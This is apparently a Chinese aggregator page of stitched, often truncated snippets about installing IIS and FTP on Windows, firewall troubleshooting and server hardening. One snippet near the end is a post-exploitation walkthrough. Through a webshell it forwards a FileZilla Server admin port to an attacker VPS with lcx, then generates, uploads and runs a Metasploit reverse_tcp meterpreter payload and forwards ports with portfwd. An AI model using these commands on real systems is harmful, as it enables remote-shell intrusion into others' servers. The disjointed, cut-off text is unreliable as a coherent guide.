前言：如果你的电脑上的 控制面板–程序–打开或关闭windows功能–windows功能里面没有互联网信息服务（IIS），那就别在网上浪费时间了，我找着了一天的资料打了各种补丁没成功，没有相关的IIS或者连c:\windows\system32\inetsrv这个路径都没有，原因是因为你的电脑系统可能是家庭版win7，或者是ghost安装系统的时候精简版的win7系统，那我建议你换一台电脑，重装完整版旗舰win7企业系统或者升级系统（建议前后顺序代表优先级）。
右键“我的电脑”，选择“管理”，打开“计算机管理”窗口。选择“计算机管理（本地）”--》“系统工具”--》“本地用户和组”，右键点击“用户”，选择“新用户”，输入用户名和密码，创建用于FTP访问的用户。
今天装IIS组件，结果网站和ftp都启动不了，看看服务，World Wide Web Publishing 服务没有启动，FTP Publishing服务也没有启动，于是我手动启动World Wide Web Publishing 服务，郁闷的是，系统提示：无法启动World Wide Web Publishing服务，错误 87 ， 参数不正确；启动FTP Publishing服务也出现同样的提示。晕倒，然后打开其属性看看服务依存关系，可是其所依存的服务我已全部开启，还是不行，然后百度谷歌一顿搜，结果搜了半天，按那些解决方法试了都不行，正要绝望之时，突然发现一篇Vinzip blog 文之巴博客的文章，然后按照他的方法弄好之后，重新计算机！YES！OK了，看来还是这个人有水平，文章转贴如下：
由于Win7默认没有安装FTP组件。故FTP的设置第一步就是安装FTP组件
百度经验：https://jingyan.baidu.com/article/0bc808fc408fa91bd585b94f.html
AI摘要：文章介绍了BugKu PAR Windows Server的安全配置，包括密码安全、密码使用期限、登录安全、禁用来宾用户、账户控制、权限控制、远程桌面设置、IIS日志和ftp安全等方面。具体操作包括设置密码最小长度和最长使用期限，限制登录失败尝试次数，禁用来宾用户，开启账户控制，限制关闭操作系统的权限，设置远程桌面用户空闲会话自动断开连接，开启IIS的日志审计记录，关闭ftp匿名用户等。
服务器里安装了ftp，使用的被动模式，服务器防火墙关闭，安全组放通了被动模式的端口端，但是客户端无法连接提示如下：
FTP是文件传输协议。用于互联网双向传输，控制文件下载空间在服务器复制文件从本地计算机或本地上传文件复制到服务器上的空间。
在Windows Server 2008 服务器上，开启IIS部分功能后，就可以开设网站了，但是光靠手工开设站点，以及站点恢复，这是一件相当麻烦的事情，不仅涉及各账户权限，而且可能造成功能故障，稍有疏忽还会造成漏洞导致入侵的危险!
（1）依次打开 控制面板 -> 程序 -> 启用或关闭windows功能 上述操作也可以直接使用Win+R， 在运行中输入“optionalfeatures”，点击确定开启。
FileZilla是一种快速、可信赖的FTP客户端以及服务器端开放程式，具有多种特色、直接的接口。既然提到ftp客户端，那就不得不提iis7。
FTP是文件传输协议（File Transfer Protocol）的简称，该协议属于应用层协议（端口号通常为20、21），用于Internet上的双向文件传输（即文件的上传和下载）。
win7的系统中如何开启iis呢？下面我来和大家介绍两种常见的方法来供小伙伴来供大家使用
运行powershell输入Get-WindowsFeature -Name NET-*, Web-* | where {$_.Name -notmatch "Web-Application-Proxy"} | Install-WindowsFeature这句命令就可以了
依次选中：.NET扩展性、ASP、ASP.NET、ISAPI扩展、ISAPI筛选器，
在进行文件下载时，除了filezilla软件，我还发现其他一款超好用的下载文件的软件：IIS7服务器管理工具
前言： FTP服务器（File Transfer Protocol Server）是在互联网上提供文件存储和访问服务的计算机，它们依照FTP协议提供服务。 FTP是File Transfer Protocol(文件传输协议)。顾名思义，就是专门用来传输文件的协议。简单地说，支持FTP协议的服务器就是FTP服务器。（FTP服务器） IIS是一种Web（网页）服务组件，其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器，分别用于网页浏览、文件传输、新闻服务和邮件发送等方面，它使得在网络（包括互联网和局域网）上发布信息成了一件很容易的事。（IIS（互联网信息服务）） 对于内网而言，首先应该给本地分配一个固定ip。详见 FTP服务器搭建步骤：
FTP服务 FTP是文件传输协议（File Transfer Protocol）的简称，该协议属于应用层协议（端口号通常为21），用于Internet上的双向文件传输（即文件的上传和下载）。在网络上有很多服务器提供FTP服务，用来存放大量的文件供他人下载。FTP服务的主要作用是让远程用户可以连接上来，查看服务器上有哪些文件，然后下载，当然用户也可以将本地文件上传到服务器，共享给其他人以便下载。FTP服务提供上传下载服务的同时，管理员也可以设置不同用户对不同文件夹的访问权限（读、写）。 在Win7的IIS上搭建FTP服务 初学Web开发的人，一般的情况下都认为IIS只能提供Web服务。其实IIS不仅可以提供Web服务，还可以提供其他服务，如网络新闻服务（NNTP）、简单邮件传输服务（SMTP），当然还有文件传输服务（FTP）。只是在IIS上，用得最多的是Web服务。默认安装的情况下，IIS也只会安装Web服务，FTP服务只在特定选择的情况下才会被安装到IIS环境中。下面，我们来看看在Win7的IIS上安装FTP服务的步骤： 1、打开“控制面板”的“程序和功能”，进入到“程序和功能”的界面，选择左侧的“打开或关闭Windows功能”，打开“Windows”功能对话框；
FTP服务 FTP是文件传输协议（File Transfer Protocol）的简称，该协议属于应用层协议（端口号通常为21），用于Internet上的双向文件传输（即文件的上传和下载）。在网络上有很多服务器提供FTP服务，用来存放大量的文件供他人下载。FTP服务的主要作用是让远程用户可以连接上来，查看服务器上有哪些文件，然后下载，当然用户也可以将本地文件上传到服务器，共享给其他人以便下载。FTP服务提供上传下载服务的同时，管理员也可以设置不同用户对不同文件夹的访问权限（读、写）。 在Wi
FTP 服务器和nntp服务器都是常用的网站服务器。它们的功能包括文件浏览、传输、邮件发送等等，每一种服务器的功能不尽相同，但是又相互关联。这些服务器的使用可以让网站在互联网当中发布信息并得到传播，如果想要搭建一个ftp服务器，该如何做呢？网站建设连接ftp步骤是怎样的？
IIS 上默认有个 FTP 站点，我们千万不要把这个站点删了，因为微软的 FTP 比较小气，由于不能建多个站点共用 21 端口，所以我们就通过建立虚拟目录来实现多个用户共用端口。
端口是很多软件和服务用于通讯的，但是实际上会有很多软件或服务端口使用同一个端口，这就导致一个端口被占用后，另一个也需要该端口的应用无法正常工作，那么如何查看端口被占用呢？这里我们可以使用CMD命令来查看。
由于通过远程访问传文件比较麻烦，就安装了IIS自带的FTP功能，设置好了之后，服务器上可以通过用户名，账号访问该FTP网址，但是别人的电脑确不能访问，总是连接失败，什么提示都没有，防火墙已开了FTP的21端口，还是不行，于是，关闭服务端电脑的Windows自带防火墙，结果就好了。
iis是Internet Information Services的缩写，意为互联网信息服务，是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。
因为某种需求，我们在Win2003中配置FTP，可能使用的是IIS可能使用的是其他的服务软件，可能是出于安全的考虑我们必须开启防火墙，可开启防火墙导致客户端无法连接，关闭防火墙反而可以正常使用。由此我们得出，问题肯定是处在了端口上。 第一时间我们百度去寻求解决问题，很少能找到一篇满意的文章。都几乎是千篇一律的草文。 在这里整了下一下解决方案，如果你的问题满足上述内容，即可往下看。 解决方案： 开启防火墙，为了安全着想，不然就没必须费那么大神了。 在防火墙的例外设置中添加21端口（如果你
如果你有一台Windows服务器，要同时跑Apache和IIS，那么你就需要同时装这两款软件，但是他们都使用80端口，不可以同时启动。Apache和IIS共存，解决办法就是把IIS下的网站设置为80以外的端口，然后用Apache做代理，访问IIS下的网站。拿两个网站作为例子一个是php.rndto.com，上面放置了PHP程序（这个在配置中用不到，只是证明两款软件能同时正常运行），另一个就是iis.rndto.com，放置asp程序。
为了方便大家使用，所建立的FTP站点不仅允许匿名用户访问，而且对主目录启用了“读取”和“写入”的权限。这样一来任何人都可以没有约束地任意读写，难免出现一团糟的情况。如果您使用IIS 6.0.只需创建一个‘用户隔离’的FTP站点就可以有效解决此问题。
步骤 ==================================================================================== 注意：安装和配置 Windows Server 2003。 1. 将\System32\cmd.exe转移到其他目录或更名； 2. 系统帐号尽量少，更改默认帐户名（如Administrator）和描述，密码尽量复杂； 3. 拒绝通过网络访问该计算机（匿名登录；内置管理员帐户；Support_388945a0；Guest；所有非操作系统服务帐户） 4. 建议对一般用户只给予读取权限，而只给管理员和System以完全控制权限，但这样做有可能使某些正常的脚本程序不能执行，或者某些需要写的操作不能完成，这时需要对这些文件所在的文件夹权限进行更改，建议在做更改前先在测试机器上作测试，然后慎重更改。 5. NTFS文件权限设定（注意文件的权限优先级别比文件夹的权限高）： 文件类型 建议的 NTFS 权限 CGI 文件（.exe、.dll、.cmd、.pl） 脚本文件 (.asp) 包含文件（.inc、.shtm、.shtml） 静态内容（.txt、.gif、.jpg、.htm、.html） Everyone（执行） Administrators（完全控制） System（完全控制） 6. 禁止C$、D$一类的缺省共享 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters AutoShareServer、REG_DWORD、0x0 7. 禁止ADMIN$缺省共享 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters AutoShareWks、REG_DWORD、0x0 8. 限制IPC$缺省共享 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa restrictanonymous REG_DWORD 0x0 缺省 0x1 匿名用户无法列举本机用户列表 0x2 匿名用户无法连接本机IPC$共享 说明:不建议使用2，否则可能会造成你的一些服务无法启动，如SQL Server 9. 仅给用户真正需要的权限，权限的最小化原则是安全的重要保障 10. 在本地安全策略->审核策略中打开相应的审核，推荐的审核是： 账户管理 成功 失败 登录事件 成功 失败 对象访问 失败 策略更改 成功 失败 特权使用 失败 系统事件 成功 失败 目录服务访问 失败 账户登录事件 成功 失败 审核项目少的缺点是万一你想看发现没有记录那就一点都没辙；审核项目太多不仅会占用系统资源而且会导致你根本没空去看，这样就失去了审核的意义。 与之相关的是： 在账户策略->密码策略中设定： 密码复杂性要求 启用 密码长度最小值 6位 强制密码历史 5次 最长存留期 30天 在账户策略->账户锁定策略中设定： 账户锁定 3次错误登录 锁定时间 20分钟 复位锁定计数 20分钟 11. 在Terminal Service Configration（远程服务配置）-权限-高级中配置安全审核，一般来说只要记录登录、注销事件就可以了。 12. 解除NetBios与TCP/IP协议的绑定 控制面版——网络——绑定——NetBios接口——禁用 2000：控制面版——网络和拨号连接——本地网络——属性——TCP/IP——属性——高级——WINS——禁用TCP/IP上的NETBIOS 13. 在网络连接的协议里启用TCP/IP筛选，仅开放必要的端口（如80） 14. 通过更改注册表Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous = 1来禁止139空连接 15. 修改数据包的生存时间(TTL)值 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128) 16. 防止SYN洪水攻击 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters SynAttackProtect REG_DWORD 0x2(默认值为0x0) 17. 禁止响应ICMP路由通告报文 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters \Interfaces\interfa
windows点击开始，或者按win键，搜索 控制面板 打开 程序和功能 点击 启用或关闭WIndows功能
在搭建FTP服务器之前，先跟大家介绍下什么是FTP服务器，**不然怕有些小伙伴可能只是有个模糊的概念，学习要尽量知其然，知其所以然，不要一知半解，否则自己用着也不踏实。**
开始--控制面板--网络连接--右击"本地连接" ，弹出 本地连接 状态 对话框点击 属性 ，弹出 本地连接属性 对话框，双击 Internet 协议 (TCP/IP)，弹出 Internet 协议 (TCP/IP)属性 对话框，单击 高级 ，弹出 高级TCP/IP设置 对话框，单击选项中选项卡， 单击属性，弹出TCP/IP筛选 对话框，选中 启用 TCP/IP 筛选 方框。
启动FTP Publishing服务也出现同样的提示。晕倒，然后打开其属性看看服务依存关系，可是其所依存的服务我已全部开启，还是不行，然后百度谷歌一顿搜，结果搜了半天，按那些解决方法试了都不行，正要绝望之时，突然发现一篇文章，然后按照他的方法弄好之后，重新计算机!YES!OK了，看来还是这个人有水平，文章转贴如下：
不管是企业还是个人站长，在使用服务器、主机空间的过程中往往都会用到FTP，FTP（File Transfer Protocal），是用于Internet上的控制文件的双向传输的协议。同时，它也是一个应用程序。但是，要使用FTP来控制我们的主机服务器资源，就必须搭建本地的FTP服务器。下面，小编就教大家如何搭建FTP服务器？
介绍一个 FTP客户端-IIS7服务器管理工具 作为FTP客户端，它支持批量管理ftp站点。定时同步上传或者下载，定时备份，操作简洁。同时iis7服务器管理工具还是vnc客户端。并且支持批量管理管理windows及linux服务器、vps。让服务器真正实现了一站式管理，真的是非常方便。 下载地址 使用截图如下：
大家好，又见面了，我是你们的朋友全栈君。架设一台FTP服务器其实很简单。首先，要保证你的机器能上网，而且有不低于ADSL 512Kbps的网络速度。其次，硬件性能要能满足你的需要。最后，需要安装FTP服务器端的软件，这类软件很多，可以使用微软的IIS(Internet Information Server 因特网信息服务系统)，也可以使用专业软件。不同的软件提供的功能不同，适应的需求和操作系统也不同。一般来说，系统最低要求如下：
欢迎纠正，(づ￣3￣)づ╭❤～ 如果此文能帮助到素未谋面的你，那真是太开心了喵~( * Φ ω Φ * ) 偷偷点个赞(σﾟ∀ﾟ)σ…:*☆哎哟不错哦
FTP为文件传输协议，用于Internet上的控制文件的双向传输。云服务器需要通过FTP上传文件，要把网站程序及各种数据上传到运费武器，首先要在服务器上进行FTP的配置，下面是Windows系统和Linux系统云服务器FTP配置教程。
方法：win+R输入inetmgr打开iss管理器 1)、网站—>添加FTP站点…—>站点信息
其实这是我网络基础课上的一次作业，觉得挺实用的，遂写成博客分享，也算是对这次作业的一次总结。
本章将介绍互联网上常用的服务——WWW服务。利用IIS 10部署Web站点及配置虚掠目录、虚拟主机等内容。
原贴：http://blog.sina.com.cn/s/blog_68158ebf0100wr7z.html
0x02 reverse_tcp实战应用过程 (1) 前期测试 试了些已公布的2008提权EXP，不过都失败了，第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地，然后再用lcx把Filezilla Server的14147端口转发出来，lcx执行命令如下。 首先VPS机器监听51端口，连接用14147端口： VPS机器执行： C:\>lcx.exe -listen 51 14147 目标机器执行： /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147 lcx转发了FileZilla Server的14147端口后还是连接不上，返回右上图这样的报错，Google翻译报错信息得知：协议错误：未通过身份验证，关闭连接，连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。 TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4 TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088 TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088 TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736 可以看到我们已经与目标机器建立了一个完整TCP连接，而且我们本地机器也成功的返回了数据，但是好像返回的数据信息中有错误，如下图。 当前问题： 不能正常把目标服务器的FileZilla Server 14147端口给转发出来，返回数据中出错了，所以无法在本地连接上FileZilla Server服务端。 解决办法： 利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件，然后在Meterpreter会话中用portfwd命令进行端口转发即可。 (2) 实战应用 如果我们自己也处于内网环境的情况下，那么就需要先在路由器里进行端口映射配置，然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件，命令如下。 root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe 先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下，然后进入到MSF完成所有必填的配置选项，执行命令如下。 use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷 set LHOST 192.168.1.4 //设置攻击者内网IP set LPORT 12345 //设置本地监听端口 exploit //exploit执行监听 将必填配置选项完成后执行exploit命令进行监听，然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件，如果成功的话就会返回一个reverse_tcp反向连接的会话。 成功得到目标机器Meterpreter会话，然后直接使用portfwd命令进行端口转发即可，执行命令如下。 meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1 使用portfwd命令成功执行端口转发操作后，我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接
任务 1：FTP服务器的安装 任务 2：创建FTP站点 任务 3：配置客户端访问FTP站点 任务 4：FTP访问配置
主要分为jenkins服务器，和ftp服务器，我们只要是根据插件把打包完的apk，上传到ftp站点上去。
这种问题站长们经常遇到，偶把真正的解决方案贴出来给大家看下! 问题：2003 server用于提供web和ftp服务，通过互联网用flashfxp实现远程上传网页。如果关闭防火墙，ftp上传下
由于做linux实验每次都要从网上更新软件包，不如自己搭建个本地的yum源，速度还更快些。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
